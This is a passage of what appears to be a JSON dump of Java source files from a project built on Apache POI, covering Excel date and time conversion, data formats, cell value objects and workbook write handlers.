Calendar\n     * @exception IllegalArgumentException if date is invalid\n     */\n    protected static int absoluteDay(Calendar cal, boolean use1904windowing)\n    {\n        return cal.get(Calendar.DAY_OF_YEAR)\n               + daysInPriorYears(cal.get(Calendar.YEAR), use1904windowing);\n    }\n\n    /**\n     * Return the number of days in prior years since 1900\n     *\n     * @return    days  number of days in years prior to yr.\n     * @param     yr    a year (1900 < yr < 4000)\n     * @param use1904windowing\n     * @exception IllegalArgumentException if year is outside of range.\n     */\n\n    private static int daysInPriorYears(int yr, boolean use1904windowing)\n    {\n        if ((!use1904windowing && yr < 1900) || (use1904windowing && yr < 1904)) {\n            throw new IllegalArgumentException(\"'year' must be 1900 or greater\");\n        }\n\n        int yr1  = yr - 1;\n        int leapDays =   yr1 / 4   // plus julian leap days in prior years\n                       - yr1 / 100 // minus prior century years\n                       + yr1 / 400 // plus years divisible by 400\n                       - 460;      // leap days in previous 1900 years\n\n        return 365 * (yr - (use1904windowing ? 1904 : 1900)) + leapDays;\n    }\n\n    // set HH:MM:SS fields of cal to 00:00:00:000\n    private static Calendar dayStart(final Calendar cal)\n    {\n        cal.get(Calendar\n            .HOUR_OF_DAY);   // force recalculation of internal fields\n        cal.set(Calendar.HOUR_OF_DAY, 0);\n        cal.set(Calendar.MINUTE, 0);\n        cal.set(Calendar.SECOND, 0);\n        cal.set(Calendar.MILLISECOND, 0);\n        cal.get(Calendar\n            .HOUR_OF_DAY);   // force recalculation of internal fields\n        return cal;\n    }\n\n\n    @SuppressWarnings(\"serial\")\n    private static final class FormatException extends Exception {\n        public FormatException(String msg) {\n            super(msg);\n        }\n    }\n\n    /**\n     * Converts a string of format \"HH:MM\" or \"HH:MM:SS\" to its (Excel) numeric equivalent\n     *\n     * @return a double between 0 and 1 representing the fraction of the day\n     */\n    public static double convertTime(String timeStr) {\n        try {\n            return convertTimeInternal(timeStr);\n        } catch (FormatException e) {\n            String msg = \"Bad time format '\" + timeStr\n                + \"' expected 'HH:MM' or 'HH:MM:SS' - \" + e.getMessage();\n            throw new IllegalArgumentException(msg);\n        }\n    }\n    private static double convertTimeInternal(String timeStr) throws FormatException {\n        int len = timeStr.length();\n        if (len < 4 || len > 8) {\n            throw new FormatException(\"Bad length\");\n        }\n        String[] parts = TIME_SEPARATOR_PATTERN.split(timeStr);\n\n        String secStr;\n        switch (parts.length) {\n            case 2: secStr = \"00\"; break;\n            case 3: secStr = parts[2]; break;\n            default:\n                throw new FormatException(\"Expected 2 or 3 fields but got (\" + parts.length + \")\");\n        }\n        String hourStr = parts[0];\n        String minStr = parts[1];\n        int hours = parseInt(hourStr, \"hour\", HOURS_PER_DAY);\n        int minutes = parseInt(minStr, \"minute\", MINUTES_PER_HOUR);\n        int seconds = parseInt(secStr, \"second\", SECONDS_PER_MINUTE);\n\n        double totalSeconds = seconds + (minutes + (hours) * 60) * 60;\n        return totalSeconds / (SECONDS_PER_DAY);\n    }\n    /**\n     * Converts a string of format \"YYYY/MM/DD\" to its (Excel) numeric equivalent\n     *\n     * @return a double representing the (integer) number of days since the start of the Excel epoch\n     */\n    public static Date parseYYYYMMDDDate(String dateStr) {\n        try {\n            return parseYYYYMMDDDateInternal(dateStr);\n        } catch (FormatException e) {\n            String msg = \"Bad time format \" + dateStr\n                + \" expected 'YYYY/MM/DD' - \" + e.getMessage();\n            throw new IllegalArgumentException(msg);\n        }\n    }\n    private static Date parseYYYYMMDDDateInternal(String timeStr) throws FormatException {\n        if(timeStr.length() != 10) {\n            throw new FormatException(\"Bad length\");\n        }\n\n        String yearStr = timeStr.substring(0, 4);\n        String monthStr = timeStr.substring(5, 7);\n        String dayStr = timeStr.substring(8, 10);\n        int year = parseInt(yearStr, \"year\", Short.MIN_VALUE, Short.MAX_VALUE);\n        int month = parseInt(monthStr, \"month\", 1, 12);\n        int day = parseInt(dayStr, \"day\", 1, 31);\n\n        Calendar cal = LocaleUtil.getLocaleCalendar(year, month-1, day);\n        return cal.getTime();\n    }\n    private static int parseInt(String strVal, String fieldName, int rangeMax) throws FormatException {\n        return parseInt(strVal, fieldName, 0, rangeMax-1);\n    }\n\n    private static int parseInt(String strVal, String fieldName, int lowerLimit, int upperLimit) throws FormatException {\n        int result;\n        try {\n            result = Integer.parseInt(strVal);\n        } catch (NumberFormatException e) {\n            throw new FormatException(\"Bad int format '\" + strVal + \"' for \" + fieldName + \" field\");\n        }\n        if (result < lowerLimit || result > upperLimit) {\n            throw new FormatException(fieldName + \" value (\" + result\n                    + \") is outside the allowable range(0..\" + upperLimit + \")\");\n        }\n        return result;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/usermodel/ExcelHSSFDataFormat.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.usermodel;\n\n/* ====================================================================\nLicensed to the Apache Software Foundation (ASF) under one or more\ncontributor license agreements.  See the NOTICE file distributed with\nthis work for additional information regarding copyright ownership.\nThe ASF licenses this file to You under the Apache License, Version 2.0\n(the \"License\"); you may not use this file except in compliance with\nthe License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==================================================================== */\nimport java.util.Arrays;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.Vector;\n\nimport org.apache.poi.hssf.model.InternalWorkbook;\nimport org.apache.poi.hssf.record.FormatRecord;\nimport org.apache.poi.ss.usermodel.DataFormat;\n\n/**\n* Identifies both built-in and user defined formats within a workbook.<p/>\n* See {@link ExcelBuiltinFormats} for a list of supported built-in formats.<p/>\n*\n* <b>International Formats</b><br/>\n* Since version 2003 Excel has supported international formats.  These are denoted\n* with a prefix \"[$-xxx]\" (where xxx is a 1-7 digit hexadecimal number).\n* See the Microsoft article\n* <a href=\"http://office.microsoft.com/assistance/hfws.aspx?AssetID=HA010346351033&CTT=6&Origin=EC010272491033\">\n*   Creating international number formats\n* </a> for more details on these codes.\n*/\npublic final class ExcelHSSFDataFormat implements DataFormat {\n\tprivate static final String[] _builtinFormats = ExcelBuiltinFormats.getAll();\n\n\tprivate final Vector<String> _formats = new Vector<String>();\n\tprivate final InternalWorkbook _workbook;\n\tprivate boolean _movedBuiltins = false;  // Flag to see if need to\n\t// check the built in list\n\t// or if the regular list\n\t// has all entries.\n\n\t/**\n\t * Constructs a new data formatter.  It takes a workbook to have\n\t * access to the workbooks format records.\n\t * @param workbook the workbook the formats are tied to.\n\t */\n\tExcelHSSFDataFormat(InternalWorkbook workbook) {\n\t\t_workbook = workbook;\n\n\t\tIterator<FormatRecord> i = workbook.getFormats().iterator();\n\t\twhile (i.hasNext()) {\n\t\t\tFormatRecord r = i.next();\n\t\t\tensureFormatsSize(r.getIndexCode());\n\t\t\t_formats.set(r.getIndexCode(), r.getFormatString());\n\t\t}\n\t}\n\n\tpublic static List<String> getBuiltinFormats() {\n\t\treturn Arrays.asList(_builtinFormats);\n\t}\n\n\t/**\n\t * get the format index that matches the given format string<p>\n\t * Automatically converts \"text\" to excel's format string to represent text.\n\t * @param format string matching a built in format\n\t * @return index of format or -1 if undefined.\n\t */\n\tpublic static short getBuiltinFormat(String format) {\n\t\treturn (short) ExcelBuiltinFormats.getBuiltinFormat(format);\n\t}\n\n\t/**\n\t * Get the format index that matches the given format\n\t *  string, creating a new format entry if required.\n\t * Aliases text to the proper format as required.\n\t * @param pFormat string matching a built in format\n\t * @return index of format.\n\t */\n\tpublic short getFormat(String pFormat) {\n\t   // Normalise the format string\n\t\tString format;\n\t\tif (pFormat.toUpperCase(Locale.ROOT).equals(\"TEXT\")) {\n\t\t\tformat = \"@\";\n\t\t} else {\n\t\t\tformat = pFormat;\n\t\t}\n\n\t\t// Merge in the built in formats if we haven't already\n\t\tif (!_movedBuiltins) {\n\t\t\tfor (int i=0; i<_builtinFormats.length; i++) {\n\t\t\t   ensureFormatsSize(i);\n\t\t\t\tif (_formats.get(i) == null) {\n\t\t\t\t   _formats.set(i, _builtinFormats[i]);\n\t\t\t\t} else {\n\t\t\t\t   // The workbook overrides this default format\n\t\t\t\t}\n\t\t\t}\n\t\t\t_movedBuiltins = true;\n\t\t}\n\t\t\n\t\t// See if we can find it\n\t\tfor(int i=0; i<_formats.size(); i++) {\n\t\t   if(format.equals(_formats.get(i))) {\n\t\t      return (short)i;\n\t\t   }\n\t\t}\n\n\t\t// We can't find it, so add it as a new one\n\t\tshort index = _workbook.getFormat(format, true);\n\t\tensureFormatsSize(index);\n\t\t_formats.set(index, format);\n\t\treturn index;\n\t}\n\n\t/**\n\t * get the format string that matches the given format index\n\t * @param index of a format\n\t * @return string represented at index of format or null if there is not a  format at that index\n\t */\n\tpublic String getFormat(short index) {\n\t\tif (_movedBuiltins) {\n\t\t\treturn _formats.get(index);\n\t\t}\n\n     if(index == -1) {\n         // YK: formatIndex can be -1, for example, for cell in column Y in test-data/spreadsheet/45322.xls\n         // return null for those\n         return null;\n     }\n\n\t\tString fmt = _formats.size() > index ? _formats.get(index) : null;\n\t\tif (_builtinFormats.length > index && _builtinFormats[index] != null) {\n\t\t   // It's in the built in range\n\t\t   if (fmt != null) {\n\t\t      // It's been overriden, use that value\n\t\t      return fmt;\n\t\t   } else {\n\t\t      // Standard built in format\n\t         return _builtinFormats[index];\n\t\t   }\n\t\t}\n\t\treturn fmt;\n\t}\n\n\t/**\n\t * get the format string that matches the given format index\n\t * @param index of a built in format\n\t * @return string represented at index of format or null if there is not a builtin format at that index\n\t */\n\tpublic static String getBuiltinFormat(short index) {\n\t\treturn ExcelBuiltinFormats.getBuiltinFormat(index);\n\t}\n\n\t/**\n\t * get the number of built-in and reserved builtinFormats\n\t * @return number of built-in and reserved builtinFormats\n\t */\n\tpublic static int getNumberOfBuiltinBuiltinFormats() {\n\t\treturn _builtinFormats.length;\n\t}\n\t\n\t/**\n\t * Ensures that the formats list can hold entries\n\t *  up to and including the entry with this index\n\t */\n\tprivate void ensureFormatsSize(int index) {\n\t   if(_formats.size() <= index) {\n\t      _formats.setSize(index+1);\n\t   }\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/usermodel/ExcelHSSFDataFormatter.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.usermodel;\n\n/* ====================================================================\nLicensed to the Apache Software Foundation (ASF) under one or more\ncontributor license agreements.  See the NOTICE file distributed with\nthis work for additional information regarding copyright ownership.\nThe ASF licenses this file to You under the Apache License, Version 2.0\n(the \"License\"); you may not use this file except in compliance with\nthe License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==================================================================== */\n\nimport java.text.DecimalFormat;\nimport java.text.Format;\nimport java.util.Locale;\n\nimport org.apache.poi.util.LocaleUtil;\n\n/**\n* HSSFDataFormatter contains methods for formatting the value stored in an\n* HSSFCell. This can be useful for reports and GUI presentations when you\n* need to display data exactly as it appears in Excel. Supported formats\n* include currency, SSN, percentages, decimals, dates, phone numbers, zip\n* codes, etc.\n* <p>\n* Internally, formats will be implemented using subclasses of {@link Format}\n* such as {@link DecimalFormat} and {@link java.text.SimpleDateFormat}. Therefore the\n* formats used by this class must obey the same pattern rules as these Format\n* subclasses. This means that only legal number pattern characters (\"0\", \"#\",\n* \".\", \",\" etc.) may appear in number formats. Other characters can be\n* inserted <em>before</em> or <em> after</em> the number pattern to form a\n* prefix or suffix.\n* </p>\n* <p>\n* For example the Excel pattern <code>\"$#,##0.00 \"USD\"_);($#,##0.00 \"USD\")\"\n* </code> will be correctly formatted as \"$1,000.00 USD\" or \"($1,000.00 USD)\".\n* However the pattern <code>\"00-00-00\"</code> is incorrectly formatted by\n* DecimalFormat as \"000000--\". For Excel formats that are not compatible with\n* DecimalFormat, you can provide your own custom {@link Format} implementation\n* via <code>HSSFDataFormatter.addFormat(String,Format)</code>. The following\n* custom formats are already provided by this class:\n* </p>\n* <pre>\n* <ul><li>SSN \"000-00-0000\"</li>\n*     <li>Phone Number \"(###) ###-####\"</li>\n*     <li>Zip plus 4 \"00000-0000\"</li>\n* </ul>\n* </pre>\n* <p>\n* If the Excel format pattern cannot be parsed successfully, then a default\n* format will be used. The default number format will mimic the Excel General\n* format: \"#\" for whole numbers and \"#.##########\" for decimal numbers. You\n* can override the default format pattern with <code>\n* HSSFDataFormatter.setDefaultNumberFormat(Format)</code>. <b>Note:</b> the\n* default format will only be used when a Format cannot be created from the\n* cell's data format string.\n*/\npublic final class ExcelHSSFDataFormatter extends ExcelDataFormatter {\n\n /**\n  * Creates a formatter using the given locale.\n  */\n public ExcelHSSFDataFormatter(Locale locale) {\n     super(locale);\n }\n\n /**\n  * Creates a formatter using the {@link Locale#getDefault() default locale}.\n  */\n public ExcelHSSFDataFormatter() {\n     this(LocaleUtil.getUserLocale());\n }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/vo/CellKV.java",
    "content": "package com.jun.plugin.poi.test.excel.vo;\n\nimport javax.management.RuntimeOperationsException;\n\nimport com.google.common.base.MoreObjects;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-1\n * Description:  \n */\npublic class CellKV <T>{\n\n\t/**\n\t * @serial Attribute name.\n\t */\n\tprivate int index;\n\n\t/**\n\t * @serial Attribute value\n\t */\n\tprivate T value = null;\n\n\t/**\n\t * Constructs an CellKV object which associates the given attribute name\n\t * with the given value.\n\t * \n\t * @param name\n\t *            A String containing the name of the attribute to be created.\n\t *            Cannot be null.\n\t * @param value\n\t *            The Object which is assigned to the attribute. This object\n\t *            must be of the same type as the attribute.\n\t * \n\t */\n\tpublic CellKV(int index, T value) {\n\n\t\tif (index < 0) {\n\t\t\tthrow new RuntimeOperationsException(new IllegalArgumentException(\n\t\t\t\t\t\"CellKV index cannot be ls 0 \"));\n\t\t}\n\n\t\tthis.index = index;\n\t\tthis.value = value;\n\t}\n\n\t/**\n\t * Returns a String containing the name of the attribute.\n\t * \n\t * @return the name of the attribute.\n\t */\n\tpublic int getIndex() {\n\t\treturn index;\n\t}\n\n\t/**\n\t * Returns an String that is the value of this attribute.\n\t * \n\t * @return the value of the attribute.\n\t */\n\tpublic T getValue() {\n\t\treturn value;\n\t}\n\n\t/**\n\t * Returns a String object representing this Attribute's value. The format\n\t * of this string is not specified, but users can expect that two Attributes\n\t * return the same string if and only if they are equal.\n\t */\n\tpublic String toString() {\n\t\treturn MoreObjects.toStringHelper(this).omitNullValues()\n\t\t\t\t.add(\"index\", index).add(\"value\", value).toString();\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/vo/ListLine.java",
    "content": "package com.jun.plugin.poi.test.excel.vo;\n\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * listrow 对象\n * \n * @author Wujun\n * \n * @date 2016-2-17 Description:\n */\npublic class ListLine {\n\tprivate List<CellKV<String>> listStr = null;\n\tprivate List<CellKV<Double>> listDouble = null;\n\tprivate List<CellKV<Boolean>> listBoolean = null;\n\tprivate List<CellKV<Date>> listDate = null;\n\t\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<CellKV<String>> getListStr() {\n\t\treturn listStr==null?Collections.EMPTY_LIST:listStr;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<CellKV<Double>> getListDouble() {\n\t\treturn listDouble==null?Collections.EMPTY_LIST:listDouble;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<CellKV<Boolean>> getListBoolean() {\n\t\treturn listBoolean==null?Collections.EMPTY_LIST:listBoolean;\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\tpublic List<CellKV<Date>> getListDate() {\n\t\treturn listDate==null?Collections.EMPTY_LIST:listDate;\n\t}\n\n\tpublic ListLine addValue(int index, int value) {\n\t\treturn addValue(index, (double) value);\n\t\t\n\t}\n\tpublic ListLine addValue(int index, long value) {\n\t\treturn addValue(index, (double) value);\n\t\t\n\t}\n\n\tpublic ListLine addValue(int index, double value) {\n\t\tif (listDouble == null) {\n\t\t\tlistDouble = new ArrayList<>();\n\t\t}\n\t\tlistDouble.add(new CellKV<Double>(index, value));\n\t\treturn this;\n\t}\n\n\tpublic ListLine addValue(int index, String value) {\n\t\tif (listStr == null) {\n\t\t\tlistStr = new ArrayList<>();\n\t\t}\n\t\tlistStr.add(new CellKV<String>(index, value));\n\t\treturn this;\n\t}\n\n\tpublic ListLine addValue(int index, boolean value) {\n\t\tif (listBoolean == null) {\n\t\t\tlistBoolean = new ArrayList<>();\n\t\t}\n\t\tlistBoolean.add(new CellKV<Boolean>(index, value));\n\t\treturn this;\n\t}\n\n\tpublic ListLine addValue(int index, Date value) {\n\t\tif (listDate == null) {\n\t\t\tlistDate = new ArrayList<>();\n\t\t}\n\t\tlistDate.add(new CellKV<Date>(index, value));\n\t\treturn this;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/vo/ListRow.java",
    "content": "package com.jun.plugin.poi.test.excel.vo;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Iterator;\nimport java.util.List;\n\n\n/**\n * listrow 对象\n * \n * @author Wujun\n * \n * @date 2016-2-17 Description:\n */\npublic class ListRow implements Iterable<CellKV<String>> {\n\tprivate List<CellKV<String>> list = null;\n\tprivate int minIndex = -1;\n\tprivate int maxIndex = -1;\n\n\t/**\n\t * 会创建一个新的arraylist 对象。\n\t * \n\t * @return 返回新的list对象\n\t */\n\t@Deprecated\n\tpublic List<CellKV<String>> getList() {\n\t\tif (list == null)\n\t\t\treturn Collections.emptyList();\n\t\treturn new ArrayList<>(list);\n\t}\n\n\tpublic ListRow add(CellKV<String> kv) {\n\t\tif (list == null) {\n\t\t\tlist = new ArrayList<>();\n\t\t}\n\t\tlist.add(kv);\n\t\tint index = kv.getIndex();\n\t\tif (index < 0) {\n\t\t\tthrow new IllegalArgumentException(\"CellKV 中index不合法\");\n\t\t}\n\t\tif (index > maxIndex) {\n\t\t\tmaxIndex = index;\n\t\t}\n\t\tif (minIndex == -1) {\n\t\t\tminIndex = index;\n\t\t} else {\n\t\t\tif (index < minIndex) {\n\t\t\t\tminIndex = index;\n\t\t\t}\n\t\t}\n\t\treturn this;\n\t}\n\n\tpublic String toString() {\n\t\tif (list == null)\n\t\t\treturn Collections.emptyList().toString();\n\t\treturn list.toString();\n\t}\n\n\t/**\n\t * 返回对应的array对象，如果kv的index没有对应的arr顺序，用null代替\n\t * \n\t * @return\n\t */\n\tpublic String[] toFullArray() {\n\t\tif (maxIndex != -1) {\n\t\t\treturn toFullArray(maxIndex + 1);\n\t\t} else {\n\t\t\treturn new String[0];\n\t\t}\n\t}\n\n\t/**\n\t * 返回对应的array对象，如果kv的index没有对应的arr顺序，用null代替\n\t * \n\t * @param length\n\t * @return\n\t */\n\tpublic String[] toFullArray(int length) {\n\n\t\tString[] arr = new String[length];\n\t\tif (maxIndex != -1) {\n\t\t\tfor (CellKV<String> kv : list) {\n\t\t\t\tif (kv.getIndex() < length) {\n\t\t\t\t\tarr[kv.getIndex()] = kv.getValue();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn arr;\n\n\t}\n\n\tpublic String[] toArray() {\n\t\tif (maxIndex != -1) {\n\t\t\tString[] arr = new String[list.size()];\n\t\t\tint i=0;\n\t\t\tfor (CellKV<String> temp : list) {\n\t\t\t\tarr[i]=temp.getValue();\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\treturn new String[0];\n\t}\n\n\tpublic void clear() {\n\t\tif (list != null) {\n\t\t\tlist.clear();\n\n\t\t}\n\t\t maxIndex = -1;\n\t     minIndex = -1;\n\t}\n\n\t@Override\n\tpublic Iterator<CellKV<String>> iterator() {\n\n\t\tif (maxIndex == -1) {\n\t\t\tlist = new ArrayList<CellKV<String>>();\n\t\t}\n\t\treturn list.iterator();\n\t}\n\n\tpublic int size() {\n\t\tif (list != null) {\n\t\t\treturn list.size();\n\t\t}\n\t\treturn 0;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/vo/OutValue.java",
    "content": "package com.jun.plugin.poi.test.excel.vo;\n\npublic class OutValue {\n\tpublic enum OutType {\n\t\tINTEGER, LONG, DOUBLE, STRING, DATE, UNDEFINED\n\t}\n\t\n\tprivate OutType outType;\n\tprivate Object value;\n\t\n\t\n\t\n\tpublic OutValue(OutType outType, Object value) {\n\t\tsuper();\n\t\tthis.outType = outType;\n\t\tthis.value = value;\n\t}\n\tpublic static OutValue intValue(Object obj){\n\t\treturn new OutValue(OutType.INTEGER,obj);\n\t}\n\tpublic static OutValue doubleValue(Object obj){\n\t\treturn new OutValue(OutType.DOUBLE,obj);\n\t}\n\tpublic static OutValue longValue(Object obj){\n\t\treturn new OutValue(OutType.LONG,obj);\n\t}\n\tpublic static OutValue stringValue(Object obj){\n\t\treturn new OutValue(OutType.STRING,obj);\n\t}\n\tpublic static OutValue dateValue(Object obj){\n\t\treturn new OutValue(OutType.DATE,obj);\n\t}\n\tpublic OutType getOutType() {\n\t\treturn outType;\n\t}\n\tpublic void setOutType(OutType outType) {\n\t\tthis.outType = outType;\n\t}\n\tpublic Object getValue() {\n\t\treturn value;\n\t}\n\tpublic void setValue(Object value) {\n\t\tthis.value = value;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/AbstractWriteHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Date;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.omg.CORBA.portable.UnknownException;\n\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.utils.FileCreateUtils;\n\npublic abstract class AbstractWriteHandler implements WriteHandler {\n\tSheet currentSheet;\n\tprivate final Workbook wb;\n\ttransient OutputStream os;\n\tprivate CellStyle headerCellStyle;\n\tprivate CellStyle dateCellStyle;\n\n\tpublic AbstractWriteHandler(Workbook wb, OutputStream outStream) {\n\t\tthis.wb = wb;\n\t\tos = outStream;\n\t}\n\n\tpublic AbstractWriteHandler(Workbook wb, String path) {\n\t\tthis.wb = wb;\n\t\tFile f = FileCreateUtils.createFile(path);\n\t\ttry {\n\t\t\tos = new FileOutputStream(f);\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// system bug\n\t\t\tf.deleteOnExit();\n\t\t\tthrow new UnknownException(e);\n\t\t}\n\n\t}\n\n\t\n\t\n\t int currentRowIndex = -1;\n\n\tCellStyle createHeadStyle() {\n\t\tif (headerCellStyle != null) {\n\t\t\treturn headerCellStyle;\n\t\t}\n\t\tCellStyle style = wb.createCellStyle();\n\t\t// 设置这些样式\n\t\tstyle.setFillForegroundColor(IndexedColors.GREY_25_PERCENT.index);\n\t\tstyle.setFillPattern(CellStyle.SOLID_FOREGROUND);\n\n\t\tstyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\t// 生成一个字体\n\t\tFont font = wb.createFont();\n\t\tfont.setColor(IndexedColors.BLACK.index);\n\t\tfont.setFontHeightInPoints((short) 12);\n\t\tfont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\t// 把字体应用到当前的样式\n\t\tstyle.setFont(font);\n\t\theaderCellStyle = style;\n\t\treturn style;\n\t}\n\n\tCellStyle createDateStyle() {\n\t\tif (dateCellStyle != null) {\n\t\t\treturn dateCellStyle;\n\t\t}\n\t\tCellStyle cellStyle = wb.createCellStyle();\n\t\tDataFormat format = wb.createDataFormat();\n\t\tcellStyle.setDataFormat(format.getFormat(\"m/d/yy h:mm\"));\n\t\tdateCellStyle = cellStyle;\n\t\treturn cellStyle;\n\t}\n\n\tvoid writeDataToRow(ListLine line, Row row) {\n\n\t\tCellStyle cellStyle = createDateStyle();\n\t\tfor (CellKV<String> kv : line.getListStr()) {\n\t\t\tCell cell = row.createCell(kv.getIndex());\n\t\t\tcell.setCellValue(kv.getValue());\n\t\t}\n\t\tfor (CellKV<Boolean> kv : line.getListBoolean()) {\n\t\t\tCell cell = row.createCell(kv.getIndex());\n\t\t\tcell.setCellValue(kv.getValue());\n\t\t}\n\t\tfor (CellKV<Date> kv : line.getListDate()) {\n\t\t\tCell cell = row.createCell(kv.getIndex());\n\t\t\tif (currentRowIndex < 2) {\n\t\t\t\tcurrentSheet.setColumnWidth((short) (kv.getIndex()),\n\t\t\t\t\t\t(short) 5000);\n\t\t\t}\n\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t\tcell.setCellValue(kv.getValue());\n\t\t}\n\t\tfor (CellKV<Double> kv : line.getListDouble()) {\n\t\t\tCell cell = row.createCell(kv.getIndex());\n\t\t\tcell.setCellValue(kv.getValue());\n\t\t}\n\t}\n\n\t@Override\n\tpublic void writeLine(ListLine line) {\n\t\tif (line != null) {\n\t\t\tcurrentRowIndex++;\n\t\t\tRow currentRow = currentSheet.createRow(currentRowIndex);\n\t\t\twriteDataToRow(line, currentRow);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void writeHeader(List<CellKV<String>> listStr) {\n\n\t\tcurrentRowIndex = 0;\n\t\tCellStyle style = createHeadStyle();\n\t\tRow currentRow = currentSheet.createRow(currentRowIndex);\n\t\tcurrentRow.setHeight((short) 0x180);\n\t\tfor (CellKV<String> cellKV : listStr) {\n\t\t\tCell cell = currentRow.createCell(cellKV.getIndex());\n\t\t\tcell.setCellValue(cellKV.getValue());\n\t\t\tcell.setCellStyle(style);\n\n\t\t\tint size = cellKV.getValue().length();\n\t\t\tif (size > 10) {\n\t\t\t\tsize = 10;\n\t\t\t}\n\t\t\tif (size < 4) {\n\t\t\t\tsize = 4;\n\t\t\t}\n\t\t\tcurrentSheet.setColumnWidth((short) (cellKV.getIndex()),\n\t\t\t\t\t(short) ((25 * size) * 20));\n\t\t}\n\n\t}\n\n\t@Override\n\tpublic String createSheet(String name) {\n\t\tif (StringUtils.isBlank(name)) {\n\t\t\tcurrentSheet = wb.createSheet();\n\t\t\t\n\t\t} else {\n\t\t\tSheet sheet = wb.getSheet(name);\n\t\t\tif (sheet == null) {\n\t\t\t\tcurrentSheet = wb.createSheet(name);\n\t\t\t} else {\n\t\t\t\tcreateOrderNumSheet(name, 1);\n\t\t\t}\n\t\t}\n\t\treturn currentSheet.getSheetName();\n\t}\n\n\tprivate void createOrderNumSheet(String name, int num) {\n\t\tSheet sheet = wb.getSheet(name + \"-\" + num);\n\t\tif (sheet != null) {\n\t\t\tcreateOrderNumSheet(name,num+1);\n\t\t} else {\n\t\t\tcurrentSheet = wb.createSheet(name + \"-\" + num);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void flush() {\n\n\t\ttry {\n\t\t\twb.write(os);\n\t\t\twb.close();\n\t\t} catch (IOException e) {\n\t\t\tthrow new IllegalStateException(e);\n\t\t\t// e.printStackTrace();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/DefaultFileWriteHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.writer;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.List;\n\nimport org.apache.poi.ss.usermodel.Workbook;\n\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListLine;\nimport com.jun.plugin.poi.test.excel.writer.exception.ExcelOutException;\n\n/**\n * 不是线程安全的\n * @author Wujun\n *\n */\npublic class DefaultFileWriteHandler extends AbstractWriteHandler {\n\t\n\tprivate transient OutputStream os;\n\t\n\t\n\n\t DefaultFileWriteHandler(Workbook wb, File file)\n\t\t\tthrows FileNotFoundException {\n\t\tsuper(wb,new FileOutputStream(file));\n\t\tthis.os=super.os;\n\t}\n\n\t DefaultFileWriteHandler(Workbook wb, String path) {\n\t\tsuper(wb, path);\n\t\tthis.os=super.os;\n\t}\n\n\t\n\t\n\n\t@Override\n\tpublic void flush() {\n\t\ttry {\n\t\t\tif (os != null) {\n\t\t\t\tsuper.flush();\n\t\t\t\tthis.os.close();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\tthrow new ExcelOutException(\"Happen exception when flush\", e);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/writer/DefaultStreamWriteHandler.java",
